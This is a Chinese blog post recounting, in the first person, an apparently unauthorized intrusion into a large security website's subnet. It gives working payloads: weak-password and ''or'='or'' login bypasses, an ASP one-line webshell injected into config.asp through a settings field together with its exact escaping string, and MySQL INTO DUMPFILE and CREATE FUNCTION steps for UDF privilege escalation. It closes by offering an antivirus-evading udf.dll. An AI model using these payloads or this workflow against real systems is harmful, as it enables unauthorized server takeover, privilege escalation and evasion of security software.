网络渗透中的一些细节和技巧

后面做了一些补充 关于在phpmyadmin里UDF提权的一些细节

这两天正在渗透某一大型的安全类站点,中间比较累,但确实收获颇多。

大型站点渗透的思路要么就是旁注,要么就是攻陷C段服务器嗅探。因为独立域名服务器,那么就只有从C段下手了。

用iisputscaner扫描有IIS写权限漏洞的服务器。

发现有一台可以利用,随后拿到webshell,当我费尽千心万苦提权拿到3389后,发现这台服务器跟目标不是一个网段,

中间用iisputscaner扫描开放web服务的机器。

对于80端口渗透我是这样做的:

1、首先在url后面加admin回车,看是否能进入后台管理界面,然后尝试弱口令
   admin:admin
   admin:admin888
   admin:123456

   可以尝试'or'='or'等
   注入的方式
登录

2、还可以再url后面加login.asp,login.php等去尝试找后台,如果无法登录后台,或者后台地址根本找不到,

那么我们可以尝试去寻找这个网站用的是哪套WEB系统。有的站点页面最下方直接就标准出来了,有的

在后台登录界面有,有的根本无法很直接的判断出是什么系统。这个时候可以找这个网站比较有点特的URL地址,

比如某站点地址有admin/previlege/login.asp;    然后googel搜索,inurl:admin/previlege/login.asp;

这样就能找到不少这样的站点,看看其他站点是否标注了哪套WEB系统。当我们知道了站点的系统后就可以搜索这套系统被公布的漏洞,

0day,exp然后就可以较快的  有目的性的进行渗透。不然就只有慢慢尝试去寻找注入点,或者寻找上传漏洞,比较费时间。

根据以上思想我花了一些时间看了好几个机器终于利用某系统新出的漏洞拿到了shell,

然后PHP SHELL执行DOS命令竟然直接就可以添加系统账户。然后上传udf.php ,

这个是提权用的,不过我发现他开3389功能不错,给这台机器开了3389。

这个时候心情比较愉悦,因为可以对我的目标机器进行嗅探了。但万万让我很郁闷的事又发生了,

我再次ping那个大型的安全站点时发现它的IP地址完全改变了,完全不是我一开始PING出来的那个地址了。

顿时 心情跌入低谷。这个时候我想要么它是动态IP?真不知道 怎么继续了。于是就暂停去休息。

第二天继续PING目标,  结果目标还是后面这个IP  不管了继续从这个IP的C段入手,再找台机器 还是按上面的思路,最终嗅探目标。

不过后面进行的C段渗透比较艰难了,我机会1-255开放WEB的站点都看了,几乎没有哪个站点可以很快的

拿到SHELL ,于是昨天晚上用XSCAN出来扫一圈,发现如下:

1、有几台FTP弱口令,但没任何权限

2、有台FTP弱口令,  可以上传文件,但不是WEB目录;FTP也没执行命令权限;

3、有台SQL若口令,  同样没任何权限

心中无比凄凉。

    这个时候发现了一个服务器一个站点时cms3.0.0但搜索了公布的漏洞 都无法成功利用,同时还有套WEB系统,

放的是某**站点是ASP系统结构。直接点 管理 进入后台登录界面 尝试了几次 最后以admin:123456登入后台。

后台我是翻来覆去的到处看,始终没找到利用的地方。在后台 我的思路如下:

1、尝试找到这是哪套系统。后台,管理界面都无法直接看出。只是在登录界面看源码时看到是**学校管理系统9正式版。

   于是搜索该系统可能被公布的漏洞,但一无所获,也许这个系统比较冷僻 关注的人很少。

2、找上传的地方,看是否有上传漏洞。我在文章编辑里找到有上传的类型还挺多 还后HTML型。

   可是无论我用抓包 修改文件名方式以及1.asp;.jpg方式漏洞都无法成功,并且上传后系统自动重新命名。看来无法利用上传漏洞。

3、有个数据库备份 只是备份只能以MDB后缀,而且我点备份似乎看起来它并没有备份可能系统有些问题。

4、尝试把该套系统下载下来,在自己机器上看看,会不会有什么可以渗透进去的地方。我还是看的上传页面

   看看是否能绕过去格式限制。

   程序先判断是否在已有的允许的类型里,如果不是 就直接返回错误;然后再过滤一道,后面这道觉得有点多余。

   这套系统共有6个上传页面,只是每个都这样的限制,看起来无法绕过了。

   这时发现这个页面顶端 有句 :<!--#include file="Inc/upload.asp"-->
 
   然后就看看upload.asp,结果看到就是一个 无组件上传类  。

   只是在INC这个目录下 还有个config.asp就顺便看看

   在后台管理界面 网站属性设置里 有这些内容,记得当时

   我在上传类型里添加了asp类型,添加成功了但是就是还无法上传。

   这时我想到的时 修改网站属性的同时 就是把config.asp 的内容给改了。那么我是不是可以吧一句话木马写进去?

   于是就赶紧尝试,直接 在 允许上传类型后面加一句话木马。这时我再打开config.asp发现内容

   如下:
  
   Const UpFileType="jpg|gif|png<%execute(request("3"))%>"                  '允许的上传文件类型

   看起来写入成功了,然后马上拿客户端连接 提交 结果 失败。
  
   但想想 会不会是 前后 < >这些符号没关闭好?

   尝试修改 config.asp  如下 :

   Const UpFileType="jpg|gif|png"%> <%execute(request("3"))%> <% ' "        '允许的上传文件类型

   把类型后面接一个%>把前面的闭合好,然后 插入一句话木马  然后 加<% 后asp文件最后的%>对应

   后面  接 ' 是吧 最后原有的"给注释掉,

   于是我先在自己系统搭建环境 进入后台 在类型后面 输入"%> <%execute(request("3"))%> <% '  如下图

   提交,然后 再看看config.asp文件:

   尝试连接一句话 shell   在 inc/config.asp

   成功得到shell。
 
   得到了后台shell后 发现没什么权限,这时我用wwwscan扫描下 web目录看看有没有什么又用的东西。

   发现可以不用密码 直接登录phpmyadmin后台,

   一开始在后台翻来翻去找不到什么又用的东西,找到php后台数据库mysql密文密码 也无法解密。
 
   试图用数据库语句 into outfile 写入一句话shell 但又不知道物理路径,尝试了网上公布的所有暴路径的方式 都无法得到

   也尝试对一些目录 loadfile 还是没得到
   后面想到udf提权就找了找这方面的资料:

  《Windows环境下通过MySQL以SYSTEM身份执行系统命令》

  《利用mysql上传和执行文件》

  《MYSQL中的UDF – Can’t open shared library 的研究》

主要有两点思想:

第一:可以通过MySQL上传二进制文件,例如自己编写的UDF DLL;

第二:可以通过注册UDF DLL中自写的Function而执行任意命令。

自己构造mysql数据库命令如下:

DROP TABLE IF EXISTS mix;
create table mix(data LONGBLOB);
INSERT INTO `mysql`.`mix` (`data`) VALUES(0x45…………..)(二进制数据省略)
SELECT data FROM mix INTO DUMPFILE "c:\\udf.dll";
drop table mix;


成功将 二进制文件udf.dll上传到 服务器c盘目录下。


1、        在phpmyadmin里 如果表名前不带数据库名 会在生成的文件前多出半字节0。
2、        如果通过变量赋值 然后将变量插入表中 那么最后生成的文件里0字节 会变成\0。


最后终于 成功上传了udf.dll,但是在执行

CREATE FUNCTION cmdshell RETURNS STRING SONAME 'C:udf.dll'

时提示无法共享库,重新上传又提示文件已经存在。 我猜想一定时被杀毒软件拦截了。

只留下cmdshell()函数。并且把cmdshell()函数改名 为windcmd()。

然后执行 CREATE FUNCTION windcmd RETURNS STRING SONAME 'C:udf.dll'

接着:
Select windcmd(“net user”)

服务器开了3389,到此拿下了这台服务器权限!

最后附上 重新编译得到的免杀的udf.dll 里面只保留了一个函数windcmd() 可以执行dos命令。

版权声明:若无特殊注明,本文皆为( August )原创,转载请保留文章出处。